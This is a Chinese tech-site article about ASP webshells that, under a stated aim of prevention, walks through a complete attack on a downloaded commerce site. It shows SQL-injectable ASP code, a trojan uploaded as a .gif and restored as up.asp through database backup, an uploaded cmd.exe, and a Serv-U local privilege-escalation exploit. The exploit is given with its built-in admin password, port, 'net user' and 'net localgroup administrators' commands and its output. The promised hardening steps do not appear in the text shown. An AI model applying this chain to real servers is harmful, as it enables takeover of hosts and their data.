扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
我们先来看一下什么叫webshell。webshell是由一个由相应脚本语言编写的具有在线编辑、删除、新增文件、执行程序及sql语句等功能的脚本文件,如老兵助手asp木马,海阳顶端asp木马就是这样的文件。黑客通常通过站点的sql注入漏洞进入管理员的后台,再通过后台上传过滤不严漏洞进行直接上传asp木马,或通过改扩展名或抓包欺骗等手段进行asp木马上传,或通过改变asp木马扩展名为图片扩展名后再进行,上传后通过数据库备分获得asp木马。那么上传后的木马会对我们的服务器或网站的文件造成什么样的影响呢?我们来看下图就知道了
上面是海洋顶端asp木马,下面是老兵助手asp木马:
木马可以执行文件的打开、编辑、复制、上传、下载等文件常用的操作命令,甚至可以执行net user 、netstat –an、dir 等guest用户命令,有数据库的连接操作,这些都危害到了我们服务器或网站的安全。可以说完全可以当作自己的机器来操作,当然不要说网站权限的编辑了,通过各种提权的方式可以达到拿下整台服务器的权限。
从挂马代码我们可以看出,其实就是转而执行了一个隐藏的框架,但带来的危害却是不可预料的。那么我们要怎么来预防这一切呢?
首先是对服务器进行安全设置:现在asp站点一般都是基于iis环境搭建的,很多站点都是放在一个虚拟机上的,服务器的安全设置就得靠空间商的责任心和安全意识了,现在我在本机搭建一个windows2003+iis+mssql+serv-u的环境。服务器的设置主要防范非法用户的asp木马权限和通过asp木马进行提权的防范,当然,网站的注入点就得靠网站管理人员进行防范了。我在网上下载了一个整站程序:xxx商务网站,并在本地搭建测试完毕,下面来演示一下整个注入漏洞带来的危害以及我们对服务器的安全设置和对整站程序进行防注入的操作:
搭建情况如下图:
然后我们对站点进行sql注入漏洞检测。用工具扫描一下看,结果如下图:
在search.asp文件存在注入点(红字部分为注入点链接),我们去看一下syjh目录下search.asp文件的源代码,在sql查询语句处,如下:
if typeid<>"" then
sql="select * from info where showname like ’%"&request("txtitle")&"%’ and flag=1 and type like ’%"&request("type")&"%’ and sortid="+cstr(sortid)+" and typeid="&request("typeid")&" order by dateandtime desc" else sql="select * from info where showname like ’%"&request("txtitle")&"%’ and flag=1 and type like ’%"&request("type")&"%’ and sortid="+cstr(sortid)+" order by dateandtime desc" end if |
多处id变量未过虑的情况下直接使用,从而导至sql注入漏洞。
下面进一步用专门的测试软件检测注入清况,如:
结果很糟糕,破解出的密码还未使用md5进行加密,直接得到管理员用户名admin和密码rose,并且这套系统在网上很多商务网站都有下载。接下来我们看进一步的操作,使用管理员和用户名进行登录:
进入后台后,可以看到“备份网站数据库”这一项,我们可以在后台的“广告服务管理”处上传一个广告,当然是把asp木马扩展名改为gif然后再上传。上传后查看地址为:http://localhost/yqlj/picture/2006416180836.gif,然后通过数据库备分,将2006416180836.gif文件备分为up.asp文件,就导出了asp木马,地址为:http://localhost/admin/System/dbback/up.asp其实这套系统数据库是.asp格式的,还可以采用写入一句话马的形式上传一个asp木马。
打开http://localhost/admin/System/dbback/up.asp输入密码,查看“服务器组件探针”信息:
· MSWC.AdRotator (广告轮换组件) ┆ √
· MSWC.BrowserType (浏览器信息组件) ┆ √ Version: 0.0; About: unknown · MSWC.NextLink (内容链接库组件) ┆ √ About: "MSWC 内容链接对象库(Release),内部版本号 Mar 24 2005 日期 15:07:09" · MSWC.Tools ┆ × · MSWC.Status ┆ × · MSWC.Counters (计数器组件) ┆ × · IISSample.ContentRotator (内容轮显组件) ┆ × · IISSample.PageCounter ┆ × · MSWC.PermissionChecker (权限检测组件) ┆ × · Adodb.Connection (ADO 数据对象组件) ┆ √ Version: 2.8; · SoftArtisans.FileUp (SA-FileUp 文件上传组件) ┆ × · SoftArtisans.FileManager (SoftArtisans 文件管理组件) ┆ × · LyfUpload.UploadFile (刘云峰的文件上传组件组件) ┆ × · Persits.Upload.1 (ASPUpload 文件上传组件) ┆ × · W3.Upload (Dimac 文件上传组件) ┆ × · JMail.SmtpMail (Dimac JMail 邮件收发组件) ┆ × · CDONTS.NewMail (虚拟 SMTP 发信组件) ┆ × · Persits.MailSender (ASPemail 发信组件) ┆ × · SMTPsvg.Mailer (ASPmail 发信组件) ┆ × · DkQmail.Qmail (dkQmail 发信组件) ┆ × · Geocel.Mailer (Geocel 发信组件) ┆ ×· IISmail.Iismail.1 (IISmail 发信组件) ┆ × · SmtpMail.SmtpMail.1 (SmtpMail 发信组件) ┆ × · SoftArtisans.ImageGen (SA 的图像读写组件) ┆ × · W3Image.Image (Dimac 的图像读写组件组件) ┆ × · Scripting.FileSystemObject (FSO组件) ┆ √ · Adodb.Stream (Stream 流组件) ┆ √ · Shell.Application ┆ √ · WScript.Shell ┆ √ · Wscript.Network ┆ √ |
上面的组件中,有两个是很重要的,就是“Shell.Application”和“WScript.Shell”,这两个组件可以支持运行一些cmd命令。
这是我们按照默认情况下搭建的网站,也就是没有做一些安全措施,平常空间商所采用的搭建方式,在这种情况下,我们上传的asp木马可以访问每个磁盘上的内客,并且可以进行修改,在windows2003环境下不可以直接用wscript.shell组件执行命令cmd命令,因为我们的身分是iis guest权限,但上传一个cmd.exe到目录下,再执行cmd命令如下:
将cmd.exe传到d盘下的,所以路径我们调用的d:\cmd.exe,通过这种上传一个cmd.exe的方法突破对服务器上cmd.exe的限制。当然我们不通执行“net user 用户名 密码 /add”种执行“net localgroup administrators 用户名 /add”来增加一个用户名并添为管理员。当然得在asp木马中提升权限,因为现在只是guest 权限,我们引用网上最常见的serv-u本地溢出提升权限,当然方法还有很多。
上传一个su.exe-----serv-u ftp本地溢出工具,serv-u是目前服务器用得最多的ftp工具,但serv-u在目前版本中仍存在这个漏洞,应该不算是漏洞,它默认了一个内置管理员帐户,用户名为:localadministrator密码为:#l@$ak#.lk;0@P 本地端口默认为:43958,我们知道ftp有一个执行权限时可以采用 quote exec site “命令”,来执行系统命令,如增加管理员帐户等。一般的人都未修改这个本地用户,所以导至了黑客们的可乘之机。这里我们执行d:\su.exe 43958 “net user mghk rose /add”和 d:\su.exe 43958 “net localgroup administrators mghk /add”便增加了一个管理员帐户,执行时的信息如下: Serv-u >3.x Local Exploit by xiaoluI >USER LocalAdministrator <331 User name okay, need password. >PASS #l@$ak#.lk;0@P <220 Domain settings savedI ************************************* User settings saved <331 User name okay, need password.
<220 Serv-U FTP Server v5.2 for WinSock ready...
*********************************
<230 User logged in, proceed.
***************************************
>SITE MAINTENANCE
**********************************
[+] Creating New Domain...
<200-DomainID=2I
[+] Domain xl:2 created
[+] Creating Evil User
200-User=xlIXPUB
******************************
[+] Now Exploiting...
>USER xl
******************************************************
>PASS 111111
<230 User logged in, proceed.
[+] Now Executing: net localgroup administrators mghk /add
<220 Domain deleted
这样就添加了一个系统管理员帐号,如果再传个开3389的工具上去打开3389,我们就可以用远程桌面连接进去,像操作自己的机器一样操作。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者